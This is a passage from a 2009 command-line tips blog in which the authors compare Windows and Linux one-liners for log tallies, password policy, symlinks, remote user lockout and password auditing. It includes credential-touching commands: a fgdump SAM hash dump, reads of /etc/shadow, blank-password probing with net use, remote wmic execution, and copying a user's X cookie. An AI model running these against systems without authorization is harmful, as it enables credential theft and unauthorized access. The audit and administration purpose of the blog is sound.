  8. The next line is a common awk idiom for totalling a column of numbers. We print out each line as it's processed, but also keep a running total in the variable "t". After all the input has been processed, we use an "END" block to output the total. Now our output looks like:  
  

[code]        290 -  
     34 Firefox/1  
    363 Firefox/2  
    5534 Firefox/3  
    632 MSIE 6.0  
    3207 MSIE 7.0  
    139 MSIE 8.0  
    1708 Safari  
    11907 TOTAL
    
[/code]

  9.   

  10. The next "sort -nr" not only puts our data into numerically sorted order, but also has the side-effect of moving the "TOTAL" column up to the first line of output. We're going to make use of this in the awk expression on the next line.
  11.   

  12. The last awk expression is a little psychotic, so let's take it piece by piece. The first section, "/TOTAL/ \{ t = $1; next \}", matches our initial "TOTAL" line and puts the total number of entries into the variable "t". The "next" causes awk to skip on to the next line without printing the current line \("TOTAL"\).  
  
The other portion of the awk code will handle all of the other lines in the
output. What we're doing here is replacing the raw count number in the first
column with a percentage. The "sprintf\(...\)" format string looks a little
weird, but it means a floating point value with one decimal place \("%.1f"\),
followed by a literal percent character \("%%"\), followed by a tab \("\t"\).
The numeric value we plug in is the raw count from column 1 of the output,
times 100, divided by the "TOTAL" value we extracted from the first line of
output.

  13.   

  
And there you have it. The agonized squealing you're hearing is Ed wondering
how he's going to even get close to this in the Windows shell. I can't wait to
see what he comes up with.  
  
Ed responds:  
Wow\! That's some serious fu there, Hal. And, I mean both serious and fu.  
  
Thanks for the interesting learning opportunity, kind sir. How delightful\!  
  
As you know, we're kinda hampered with cmd.exe in that we get regex support
from findstr, which cannot do extended regular expressions like sed -r.
Therefore, we cannot do the funky "|" in the regex. Our resulting command will
have to include more piece-parts for each browser.  
  
And, as we discussed in Episode \# 25: My Shell Does Math, we have access to
simple integer math in cmd.exe via "set /a", but floating point and division
cause problems.  
  
Still, we can get some useful output that tells us the number of each kind of
browser and a handy total like this:  
  

[code]

    C:\> echo MSIE > browser.txt & echo Firefox >> browser.txt & echo Safari  
         >> browser.txt & echo - >> browser.txt & (for /f %i in (browser.txt) do   
         @echo %i & type ssl_access_log | find "POST /login/form" | find /c "%i" & echo.)   
    & del browser.txt       
    MSIE  
    873  
      
    Firefox  
    1103  
      
    Safari  
    342  
      
    -  
    2327  
    
    
[/code]

  
In this command, I'm first building a little file called browser.txt
containing the different browsers strings that I'd like to count. I'll then
iterate over that file using a FOR /F loop. I'd much rather do this by
iterating over a string containing "MSIE FIREFOX SAFARI -", but unfortunately,
FOR /F parses strings into a series of variables all in one FOR /F iteration,
making it useful for parsing a string into different variables \(like %i %j
%k, etc.\). But, FOR /F used with a string does not pull apart a string into
pieces that vary at each iteration through the loop. Boo, FOR /F\! So, we
compensate by building a little file with one browser per line, and then we
iterate over that.  
  
For each browser in browser.txt, we display the browser name \(echo %i\), and
scrape through our ssl\_access\_log using the plain old find command to look
for lines with "POST /login/form". I then take the output of that, pipe it
through find with a /c option to count the number of occurrences of the %i
iterator, which is the name of each browser. Note that the - will total all
browsers, since their log entries have a dash in them. After my little looping
escapade, I delete the temporary browser.txt file that I created at the
beginning.  
  
The output, while not as beautiful as Hal's, still is useful -- you see the
number of POST login actions per browser, and the total. Why, you could even
add a little "& calc.exe" at the end to pop up a calculator to do your
percentages. :\)

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Monday, May 18, 2009

### Episode \#37: Show Account Security Settings

Ed engages:  
  
Yesterday, I was doing a presentation for a bunch of auditors, and a nice
question came up from the attendees: "How can I quickly see the local account
security settings on a Windows box from the command line?" When I gave the
answer, I saw a lot of people's eyes light up. Of course, whenever an
auditor's eyes start to flicker, we should all watch out. :\)  
  
Seriously, though... the vast majority of the people in the room quickly wrote
down a note with my answer, so I figured it would make a good episode here.  
  
On Windows, you can see overall security settings for all accounts on the box
using the command:  
  

[code]

    C:\> net accounts  
    Force user logoff how long after time expires?:       Never  
    Minimum password age (days):                          0  
    Maximum password age (days):                          42  
    Minimum password length:                              0  
    Length of password history maintained:                None  
    Lockout threshold:                                    Never  
    Lockout duration (minutes):                           30  
    Lockout observation window (minutes):                 30  
    Computer role:                                        WORKSTATION  
    The command completed successfully.  
    
    
[/code]

  
A simple little command like that shows really useful information, for
auditors, pen testers, general security personnel... great stuff. We've got
password aging information, minimum password length, password history \(so
users can't just reset their password to an older one they used to have\), the
threshold of bad logon attempts for account lockout, the time duration of
account lockout, and the amount of time before a locked out account is re-
activated.  
  
The output I show above is the default settings for most versions of Windows,
including Win2K, WinXP, and Vista \(Yup... minimum password lenght of 0 by
default\!\). On Win2k3, the only difference is that the "Computer role:" says
SERVER.  
  
Another nifty related command is:  
  

[code]

    C:\> net accounts /domain
    
[/code]

  
You can run this on any system that is a member of the domain, and it'll show
you the domain-wide settings for accounts.  
  
Pretty cool, and all in one place.  
  
So, what've you got for us on Linux, big guy?  
  
Hal reports in:  
  
I'm sure you all are getting fairly tired of this, but I have to give my usual
disclaimers:  
  
1\) Different Unix systems handle password security settings in different
ways, so we're just going to focus on Linux  
  
2\) The answer is different if you're working with a network-based
authentication database like LDAP or Kerberos, but for purposes of this
article we're just going to stick to local password files  
  
With those disclaimers in mind, the basic answer is simple:  
  

[code]

    # **chage -l hal**  
     Last password change     : Jul 14, 2007  
    Password expires     : never  
    Password inactive     : never  
    Account expires      : never  
    Minimum number of days between password change  : 0  
    Maximum number of days between password change  : 99999  
    Number of days of warning before password expires : 7
    
[/code]

  
The "chage" command can be used to get \(and set\) basic password security
parameters for accounts on your Linux system \(other Unix variants often use
the "passwd" command for this\). This is actual output from one of my test
systems and shows you the standard Linux defaults for these parameters, which
are obviously not terribly secure. You may change the defaults by modifying
the /etc/login.defs file, but be aware that the defaults you set in login.defs
will only apply to new accounts that you create with the built-in "useradd"
program that comes with Linux. If you use some other scheme for creating
accounts, then you'll have to use the "chage" command to manually set these
values after you create each account.  
  
If you compare the "chage" output with the output of Ed's "net accounts"
command, you'll notice that "chage" doesn't have anything to say about
password history settings or "lockout on failure" parameters. That's because
this level of password security is a property of the lower-level PAM
configuration on most Unix systems. On Linux, the pam\_cracklib and pam\_unix
modules take care of password history and strong password enforcement, while
pam\_tally is responsible for "lockout on failure". Unfortunately there's no
way to audit the settings for these modules other than to look at the actual
PAM configuration files, usually found in /etc/pam.d.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Friday, May 15, 2009

### Episode \#36: File Linking

Paul pops off:  
  
Creating links between files is a handy feature in UNIX/Linux systems. There
are many instances where you need to have a copy of the file \(or dirctory\)
in a particular location, but only want to maintain one original. For example,
I was running a program to check the security of my Apache configuration file.
It expected the file to exist in "/usr/local/apache2/conf/httpd.conf", but the
original file was located at "/etc/httpd/conf/httpd.conf". To solve this
problem I created a "soft" link as follows:  
  

[code]

    $ ln -s /etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
    
[/code]

  
  
The above "ln" command takes the "-s" flag to indicate a soft link, which
creates a pointer to the original file. Next you specify the original file,
followed by the file that will point to the original. Many will forget which
one comes first \(the original or the pointer\), so don't forget that the
original file always comes first :\) Oh, and you can view the links by using
the ls -l command:  
  

[code]

    $ **ls -l /usr/local/apache2/conf/httpd.conf**  
     lrwxrwxrwx 1 root root 26 Apr 21 13:57 /usr/local/apache2/conf/httpd.conf -> /etc/httpd/conf/httpd.conf
    
[/code]

  
  
Hal chimes in:  
  
Let me show you one more useful trick with the "ln" command. You can actually
create symlinks to an entire directory of files with a single "ln" command:  
  

[code]

    # **cd /usr/local/bin**  
     # **ln -s ../depot/clamav/current/bin/* .**
    
[/code]

  
First we "cd" to /usr/local/bin. The "ln" command creates a link to every
object under /usr/local/depot/clamav/current/bin. The names of the links in
/usr/local/bin will have the same name as the files under
.../clamav/current/bin.  
  
This is how I manage software that I've built from source on my systems. In
fact, .../clamav/current is itself a symlink to a directory like
.../clamav/0.95.1. Whenever I build the latest version of ClamAV, I install it
in its own .../clamav/<vers> directory and just change the .../clamav/current
symlink to point to the latest and greatest version. Since all the symlinks
under /usr/local/\{bin,sbin,etc,lib,include\} are expressed using the
.../clamav/current link, every other link in the hierarchy automatically
starts pointing at the right version as soon as I change the
.../clamav/current link. And it's easy to revert too, just in case the new
version isn't working for some reason. Slick.  
  
Ed responds:  
  
Sadly, Microsoft never got around to implementing a pure-play shortcut-
creating feature inside of cmd.exe. Because of that, several folks have
released third-party tools that do so. Some nice ones include the NT resource
kit tool simply called shortcut.exe, Pixelab's xxcopy, and NirSoft's NirCmd.  
  
But, downloading a third-party tool isn't our way at this here blog. So, we
must explore other options.  
  
While cmd.exe itself doesn't have a feature for creating shortcuts, wscript,
which is built in, does. There are many examples out on the Internet for
creating shortcuts with wscript, but I've boiled them down to their bare
minimum:  
  

[code]

    set WshShell = WScript.CreateObject("WScript.Shell" )  
    set oShellLink = WshShell.CreateShortcut( Wscript.Arguments.Named("shortcut") & ".lnk" )  
    oShellLink.TargetPath = Wscript.Arguments.Named("target")  
    oShellLink.Save  
    
    
[/code]

  
The above script takes two arguments: the name of the target you want to
create a shortcut to \(/target:\) and the shortcut name itself \(/shortcut:\).
Note that the target could be a file or a directory. To create a shortcut
using this script, we could dump all of that stuff above into a file called
shortcutter.vbs, and then run it with the wscript interpreter.  
  
"Ah... but that would be a scripting solution and not a command line," you
might say. "You need to create a single command line that addresses the
challenge."  
  
Thanks for the delightful reminder. What, are you on Hal's payroll? Don't you
have anything better to do with your time than taunt me? ;\)  
  
OK... I'll take your input and respond with this for a command line:  
  

[code]

    C:\> echo set WshShell = WScript.CreateObject("WScript.Shell" ) > shortcutter.vbs &  
      echo set oShellLink = WshShell.CreateShortcut( Wscript.Arguments.Named("shortcut") ^& ".lnk" )  
      >> shortcutter.vbs & echo oShellLink.TargetPath = Wscript.Arguments.Named("target")  
      >> shortcutter.vbs & echo oShellLink.Save >> shortcutter.vbs  &  
      wscript shortcutter.vbs /target:[source] /shortcut:[shortcut]  
    
    
[/code]

  
It pretty much types itself, doesn't it? Easy\!  
  
Uh.... or not.  
  
I'm simply creating the vbs script, which I'm naming shortcutter.vbs, and then
invoking it to create the shortcut. I don't delete it at the end, because I
want to keep it around for future uses. These things come in handy, you know.

Posted by PaulDotCom at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Wednesday, May 13, 2009

### Episode \#35: Remotely Locking Out User While Preserving Session

Ed kicks it off:  
  
We received a request the other day from Mr. Fordm via the Pauldotcom IRC
channel. He was wondering if there was a way to lock out a user engaged in an
active session on a machine. This kind of thing comes up from time to time,
often during abrupt employee termination. Here's the scenario: User John Doe
gets canned. He's sitting at his computer logged on in his cubicle and the IT
or security staff is instructed to just get him off the machine immediately.
Any delay, and there is a chance he'd launch the missiles against friendly
targets or something.  
  
The security guy suggests just remotely shutting the system down. But, no...
management wants more. They want to preserve the currently logged on session
so they can see if John had started to launch the missiles by typing:  
  

[code]

    C:\> wmic missiles call launch target=...*
    
[/code]

  
So, how can we lock the user out while preserving the GUI session which might
hold some juicy info?  
  
First off, we want to change the user's password. Otherwise, he or she would
log right back in once we lock the session. Let's assume the user is logged in
via a local account, and change the password by using remote command execution
via WMIC. We covered remote command execution in Episode \#31, which we'll use
to invoke the "net user" command to change the password:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "net user [user] [NewPassword]"
    
[/code]

  
You can go further, disabling the account so that no one can login with it
until you re-enable it, by running:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "net user [user] /active:no"
    
[/code]

  
Remember, if you want to get back into this user's session later, you'll have
to re-enable that user by running:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "net user [user] /active:yes"
    
[/code]

  
Next, we've got to lock the session. On first blush, you might think to use
the following command, wrapped up inside of WMIC for remote execution:  
  

[code]

    C:\> rundll32.exe user32.dll,LockWorkStation
    
[/code]

  
  
When executed by a local user currently logged on to a Windows box, this will
lock the workstation. Nice... but... executed remotely, using WMIC as shown
above, won't do the trick on most versions of Windows. You see, this command
against a remote target won't be able to get access to the user's currently
logged on console GUI session, so nothing happens.  
  
You might think that we can get a little more intricate by running the logoff
command against the user, again wrapped up inside of WMIC:  
  

[code]

    C:\> logoff
    
[/code]

  
  
Nope... same problem. Works great locally, but remotely, it can't interact
with that console session. And, worse... if it did work, it would eliminate
the session with the juicy information we want to preserve when it logs off
the user.  
  
So, what to do? There's a great command for doing just this kind of thing:
tsdiscon.  
  
You can run it as follows:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "tsdiscon"
    
[/code]

Alternatively, the tsdiscon command has an option to run remotely:  
  

[code]

    C:\> tsdiscon console /server:[IPaddr] /v
    
[/code]

  
This works like a champ on XP, locking the user at the console out, while
preserving the session.  
  
Note that tsdiscon, when run remotely, will pass through your current user's
authentication credentials to the target IPaddr machine. Thus, make sure you
are logged in with a user and password combination that are also in the admin
group of the target machine, or that have domain admin privileges.  
  
Unfortunately, while this works great on XP, the tsdiscon command doesn't
allow you to disconnect the console session for Windows Vista or 2008 Server.
I've confirmed this in my lab, and have found references to that limitation in
Microsoft documentation. On Vista and 2008, you can use tsdiscon to disconnect
RDP/Terminal Services sessions other than the console session \(you can get a
list of sessions on Vista and 2008 by running "query session" or by running
"qwinsta" on XP\). Sadly, I haven't found a remote command-line method for
closing the console session on Vista or 2008 server while preserving that
session. The rwinsta command in XP and Vista resets a session on a Vista or XP
box, when used as follows:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "rwinsta console"
    
[/code]

  
...but you'll lose all of the current session information and running programs
when rwinsta kills the session. Still, that'll let you lock out the user so he
can't launch the missiles... but at the cost of losing the cmd.exe session
history showing that he tried to launch them. For most purposes, that'll
suffice. And, I guess it provides yet another reason to stay on XP \(as if you
needed any more of them\).  
  
If you know of a way to remotely disconnect a console user session on Vista
using built-in command-line tools, please do send in a suggestion to
suggestions@commandlinekungfu.com, and I'll gladly add it to this article.  
  
\*Current versions of Windows do not expose the missiles alias within wmic. In
Windows 9 \(code name: "We miss Bill"\), though, it will be built-in, along
with the callable method "launch". Just wait.  
  
Hal reports from the bunker:  
  
As Ed points out, the first trick is to lock the user's account. I'm going to
assume that the system is using local password files, rather than a networked
authentication database such as LDAP or Kerberos. These latter systems have
their own command-line interfaces which allow you to lock user accounts, but
they're outside of the scope of this blog.  
  
So we need to SSH into the user's workstation and gain root privileges via su
or sudo. Note that this assumes you have an SSH server running for remote
maintenance tasks. A lot of Linux workstation builds don't automatically
configure an SSH server by default. You're "Seriously Out of Luck" in these
cases, and the best that you can do is try to seize the workstation before the
user has a chance to launch their missiles. If you have an intelligent switch
fabric, you might want to move the user's workstation onto an isolated VLAN
before seizing the workstation. That way, the user might have a chance to
trash their own system, but less opportunity to launch missiles at other
targets.  
  
Once you're into the system, use "passwd -l" to lock the user's account
\("passwd -u" will unlock the account again, btw\). Let's use Paul as our
example fall guy again:  
  

[code]

      
    # **passwd -l paul**
    
[/code]

  
"passwd -l" can have different effects, depending on what flavor of Unix
you're using. On Linux systems, the usual practice is to introduce a "\!"
character at the front of the user's password hash. This renders the hash
invalid so users can't log in, but it's easy to undo the change if you decide
you later want to let the user into the system. Some Linux systems go further
and set the "account disabled as of ..." field in the /etc/shadow file \(it's
the second-to-last field for each entry\) to a date in the past so that even
just resetting the password hash is insufficient to unlock the account.  
  
On older, proprietary Unix systems like Solaris, "passwd -l" usually changes
the user's password hash to an invalid string like "\*LK\*", which
unfortunately loses the user's original password hash. However, at least on
Solaris systems, the cron daemon will actually refuse to execute jobs for
users whose password entry is "\*LK\*". This means clever users can't set up
automated tasks to re-open access to their systems \(or launch missiles\).
When locking accounts on Linux systems, you should also make sure to disable
any cron jobs that user may have set up:  
  

[code]

    # **crontab -l -u paul > /root/paul.crontab**  
     # **crontab -r -u paul**
    
[/code]

  
Here we're making a backup copy of Paul's crontab under /root and then
removing all cron jobs. You could later restore Paul's crontab with "crontab
-u paul /root/paul.crontab".  
  
If you're worried about the user logging into the workstation remotely after
you've turned on the screen locker, then you also need to be careful that the
user has no "authorized\_keys" files, or even ".\[sr\]hosts" and hosts.equiv
files if you're allowing "HostBasedAuthentication":  
  

[code]

    # **mkdir /root/paul-trustfiles**  
     # **mv ~paul/.ssh/authorized_keys ~paul/.[rs]hosts /etc/*hosts.equiv /root/paul-trust**
    
[/code]

  
OK, that should be sufficient for keeping that naughty Paul out of the
machine. As far as turning on the screen locker, there are a lot of different
options on different Unix systems, but let's just stick with the popular \(and
widely available\) "xlock" program. Whatever program you choose to use, the
biggest trick to remotely enabling the screen locker is to first acquire the
necessary credentials to access the user's X display:  
  

[code]

    # **export DISPLAY=:0.0**  
     # **cp ~paul/.Xauthority /root**  
     # **su -c paul 'xlock -mode blank -info "This workstation administratively locked"'**
    
[/code]

  
On the first line, we set our "DISPLAY" environment variable to match the
user's display-- normally ":0.0", you can validate this with the "who" command
if you're not sure. On the second line, we grab the user's "magic cookie"
file, which allows us access to the X server on the specified "DISPLAY".
Finally, we turn on the xlock program with just a blank, black screen. Also,
the above example demonstrates that you can also specify an informational
message that the user sees when they try to unlock their workstation.  
  
Note that our example starts the xlock program as user "paul", which means the
password for the "paul" account-- rendered invalid with the "passwd -l"
command earlier-- will be required to unlock the screen. You could actually
dispense with the "su paul -c" and start the xlock program as root, thus
forcing somebody to enter the root password to unlock the screen. Of course,
if Paul happens to know the root password for his workstation, this is not a
good idea \(you certainly don't want to lock the root account on the
system\)\! However, another possibility would be to actually "su" to some
other user account when starting up the screen locker, just to make things
more difficult for Paul. But I think you're probably better off using Paul's
account, since we know that user has an invalid password. To unlock the screen
again, once Paul has been safely escorted out of the building, just kill the
xlock process.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Monday, May 11, 2009

### Episode \#34: Suspicious Password Entries

Hal Says:  
  
Older, proprietary Unix systems tend to include the "logins" command, which is
a handy little command for searching your passwd and shadow files for
different sorts of information. In particular, "logins -p" \(find accounts
with null passwords\) and "logins -d" \(find accounts with duplicate UIDs\)
are useful when auditing a large user database. Unfortunately, the "logins"
command doesn't exist in Linux. But of course you can emulate some of its
functionality using other command-line primitives.  
  
Finding accounts with null passwords is just a simple awk expression:  
  

[code]

    # **awk -F: '($2 == "") {print $1}' /etc/shadow**
    
[/code]

  
We use "-F:" to tell awk to split on the colon delimiters in the file and then
look for entries where the password hash in the second field is empty. When we
get a match, we print the username in the first field.  
  
Finding duplicate UIDs is a little more complicated:  
  

[code]

    # **cut -f3 -d: /etc/passwd | sort -n | uniq -c | awk '!/ 1 / {print $2}'**
    
[/code]

  
Here we're using "cut" to pull the UIDs out of the third field of /etc/passwd,
then passing them into "sort -n" to put them in numeric order. "uniq -c"
counts the number of occurrences of each UID, creating one line of output for
each UID with the count in the first column. Our awk expression looks for
lines where this count is not 1 and prints the UID from each matching line.  
  
Another useful password auditing command is to look for all accounts with UID
0. Normally there should only be a single UID 0 account in your password file
\("root"\), but sometimes you'll see attackers hiding UID 0 accounts in the
middle of the password file. The following awk snippet will display the
usernames of all UID 0 accounts:  
  

[code]

    # **awk -F: '($3 == 0) {print $1}' /etc/passwd**
    
[/code]

  
More generally, you can use the "sort" command to sort the entire password
file numerically by UID:  
  

[code]

    # **sort -t: -k3 -n /etc/passwd**  
     root:x:0:0:root:/root:/bin/bash  
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
    bin:x:2:2:bin:/bin:/bin/sh  
    ...
    
[/code]

  
"-t" is used to specify the column delimiter, "-k" specifies which column\(s\)
to sort on, and "-n" means do a numeric \(as opposed to alphabetic\) sort. The
advantage to viewing the password file this way is that all the UID 0 accounts
bubble right up to the top of the output, plus it's easier to spot accounts
with duplicate UIDs this way.  
  
Ed responds:  
  
OK, sports fans... Hal really threw down the gauntlet here. Brace yourselves,
because this is gonna get ugly. You've been warned.  
  
Unlike Linux with its /etc/passwd and /etc/shadow files, Windows doesn't make
it easy to access user account password hashes. Thus, it's much harder for us
to determine if a password is blank... but we do have some options.  
  
For starters, we could blatantly violate our ground rules here and use third-
party tools. One option that pops into mind is fgdump, my favorite tool for
dumping Windows hashes. We could run:  
  

[code]

    C:\> fgdump -c & find "NO PASSWORD" 127.0.0.1.pwdump & del 127.0.0.1.pwdump
[/code]

  
  
This command invokes fgdump, which runs against localhost by default, with the
-c option to turn off the dumping of cached credentials, making it give us
only the local SAM database. Unfortunately, fgdump doesn't have the option of
displaying the hashes on standard output, but instead stores its results in a
file called \[IPaddr\].pwdump. So, we then run the find command to look for
output that contains the words "NO PASSWORD" in this file, and then delete the
file.  
  
Now, keep in mind that if a given user has a password that is 15 or more
characters in length, that user will authenticate using only the NT Hash, and
Windows will set the LANMAN to a value of a hash of padding, that old
AAD3B4... stuff. In its output for such accounts, fgdump will display "NO
PASSWORD" for the LANMAN hash of such accounts, even though they do have an NT
hash with an NT password. Thus, to avoid false positives with accounts that
have passwords greater than 14 characters, we should tweak our command to:  
  

[code]

    C:\> fgdump -c & find "NO PASSWORD*********************:NO PASSWORD" 127.0.0.1.pwdump  
    & del 127.0.0.1.pwdump   
[/code]

  
Easy.  
  
Yeah, it's easy, if you throw away our treasured rule of using only built-in
tools.  
  
But, there's another way, which violates a completely different ground rule
we've got around here. Instead of using a third-party tool, we could rely on
built-in functionality via a Visual Basic Script. There's a great script from
the awesome Scripting Guys, available here, which attempts to change each
user's password from blank to blank. If it is successful, you've got a user
with a blank password. Nice and easy\!  
  
But, this one also throws another precious ground rule under the bus. That is,
we aren't supposed to be using scripts, but instead we rely on single \(albeit
at times complex\) commands.  
  
For a third option, why don't we try to mimic the operation of this VB script
at the cmd.exe command line? We could change a user password to blank by
running:  
  

[code]

    C:\> net user [user] ""
[/code]

  
  
This command tells the system to change the password of \[user\] to blank. If
the password policy allows such passwords, it will succeed. Ummm... that's no
good for us, because it succeeds regardless of the current user's password.
So, this command violates a third coveted rule around here: Commands have to
actually work.  
  
Oooookay then. Is there a fourth option? Turns out there is, but it gets
pretty ugly. The basis of this command is to rely on "net use" to make an SMB
connection locally, thusly:  
  

[code]

    C:\> net use \\[hostname] "" /u:[user]
    
[/code]

  
  
If the guest account is disabled, and you otherwise have a default security
policy, the system displays the following text if \[user\] has a blank
password:  
  

[code]

    System error 1327 has occurred.  
      
    Logon failure: user account restriction.  
    Possible reasons are blank passwords not allowed, logon hour restrictions,  
    or a policy restriction has been enforced.
    
[/code]

  
Note that first possible reason -- blank passwords.  
  
Also, note that this same message comes up if there are policies defined that
restrict the account from logging on during certain times of day or other
policy restrictions. But, still, in most environments, this is an indication
that the password is blank. Not perfect, but good enough for most cases.  
  
Building on this, here ya go, a "single" command that checks to see if local
accounts have blank passwords, without using any third-party tools or scripts:  
  

[code]

    C:\> FOR /F "tokens=2 skip=1" %i in ('wmic useraccount list brief') do @echo.  
    & echo Checking %i & net use \\[hostname] "" /u:%i 2>&1 | find /i "blank" >nul  
    && echo %i MAY HAVE A BLANK PASSWORD & net use * /del /y > nul
[/code]

  
Wow\! There's a mess, huh? Here's what I'm doing...  
  
I'm setting up a FOR /F loop to iterate on the output of the command 'wmic
useraccount list brief', which will show all of the locally defined accounts
on the box. I'm parsing the output of that command by skipping the first line
\(which is column headers\) and setting the value of my iterator variable to
the second item in each line \(the first is the Account Type, the second is
the SYSTEM\username\).  
  
I'm then echoing a blank line to our output \(echo.\) to make things prettier
followed by displaying a message that I'm checking a given account \(echo
Checking %i\). Then, I try to make an SMB connection to our local hostname
\(you really should put in your own system's hostname... using \\\127.0.0.1
isn't reliable on every version of Windows\). The attempted SMB connection has
a password of blank \(""\) and a user name of our current iterator variable
\(/u:%i\).  
  
Now, if the account has a blank password, I'll get an error message that says:
"Logon failure: user account restrictions. Possible reasons are blank
passwords...". Remember that if you have any of those other restrictions
defined on the box, our little one-liner will give you false positives.  
  
Then, I take our error message and dump it into a replicated copy of our
standard output \(2>&1\) so that I can scrape through what was Standard Error
with the find command to look for the word "blank". I dump the output of that
to nul so we don't see it's ugliness. Then, if the find command is successful
\(&&\), I print out a message saying that %i MAY HAVE A BLANK PASSWORD. Note
the weasel word "MAY". That's because there may be other account restrictions
applied to the account or system.  
  
Finally, I drop any residual SMB connections we've made \(net use \* /del
/y\), dumping its output to nul.  
  
Whew\! I tried several other methods for doing this at the command line, but
they got even uglier, believe it or not.  
  
Also, note that the above command depends on the Guest account being disabled.
If you have that account enabled, it'll show that no accounts have blank
passwords, as you'll never get the requisite error message. But, for most
production environments, you really should disable that Guest account, you
know. You can do that at the command line with:  
  

[code]

    C:\> net user guest active:no
    
[/code]

  
  
Be careful, though, to make sure that you don't have any apps that actually
rely on the Guest account being enabled.  
  
Now, let's see what else Hal has in store for us in his initial challenge...  
  
Ahhh... userID numbers, better known as SIDs in Windows. Well, Windows assigns
those at account creation, attempting to make sure that they are all unique.
Therefore, we should never have the same value for two different accounts at
the same time... right? Just to make sure, we can dump them using:  
  

[code]

    C:\> wmic useraccount get sid, name
    
[/code]

  
  
Unfortunately, the output shows name first followed by sid. That's a crummy
aspect of wmic... it shows you attributes in its output alphabetically by
attribute name. "Name" comes before "Sid" alphabetically, so we get name, sid
even though we asked for sid, name. We can reverse them using a FOR /F loop to
parse, and then sort them, using the following command:  
  

[code]

    C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"')  
    do @echo %j %i) | sort
    
[/code]

  
  
  
So, here, I'm running the wmic command inside a FOR /F loop. I've embedded the
command in single-quote followed by double-quote at the beginning, and double-
quote followed by single-quote at the end. The reason for this is two fold...
Normally, we require just the single quotes at the beginning and end to run a
command inside the parens of a FOR /F loop. But, if the command has a comma or
quote in it, we must either use a ^ before the comma or quote, or put the
whole thing inside of single-quote double-quotes as I have here. I used the
latter because of the parens around the entire FOR /F loop, which I used so I
could pipe it through the sort command. I've found that the ^, or ^" in FOR /F
loops have problems when you put parens around the entire FOR /F loop, so I've
taken to using the ' " and " ' as they work regardless of the \( \) around the
FOR /F loop. It's a little trick I figured out on a flight to Defcon years
ago.  
  
So, where was I? Oh yeah... we've now got a list of SIDs and usernames,
sorted. Our sort is alphabetic, not numeric, which kinda stinks. Still, you
could eyeball the resulting list and see if any of them are identical. Sadly,
there is no built-in "uniq" command in Windows. Man, Hal and Paul have it
easy, don't they?  
  
If you really want a uniq, you could download a "uniq" command for Windows.
Or, you could simulate one. Are you ready for a sick little trick to detect
whether a file has all unique lines using built-in tools in Windows?  
  
For this stunt, we'll rely on the built-in Windows fc command, which compares
two files \(fc stands for "file compare". We can use it as follows:  
  

[code]

    C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"')  
    do @echo %j %i) | sort > accounts.txt & sort /r accounts.txt > accountsr.txt  
    & fc accounts.txt accountsr.txt & del accounts.txt & del accountsr.txt
    
[/code]

  
  
The idea here is to use the sort /r command to create a list of accounts in
reverse order, and then compare it to the original list of accounts. If there
are no duplicate SIDs, your output will simply show the list of accounts
forward, followed by the list of accounts backward. If there are one or more
duplicate SIDs, you will see a blank line in the middle of your output as fc
tries to show you the differences. Let me illustrate with an example.  
  
Here is the output when we have all unique SIDs:  
  

[code]

    Comparing files accounts.txt and ACCOUNTSR.TXT  
    ***** accounts.txt  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    S-1-5-21-2574636452-2948509063-3462863534-1073 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    ***** ACCOUNTSR.TXT  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-1073 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0  
    *****
    
[/code]

  
  
And, here is the output when we have a dupe:  
  
  

[code]

    Comparing files accounts.txt and ACCOUNTSR.TXT  
    ***** accounts.txt  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    ***** ACCOUNTSR.TXT  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-1072 frank  
    *****  
      
    ***** accounts.txt  
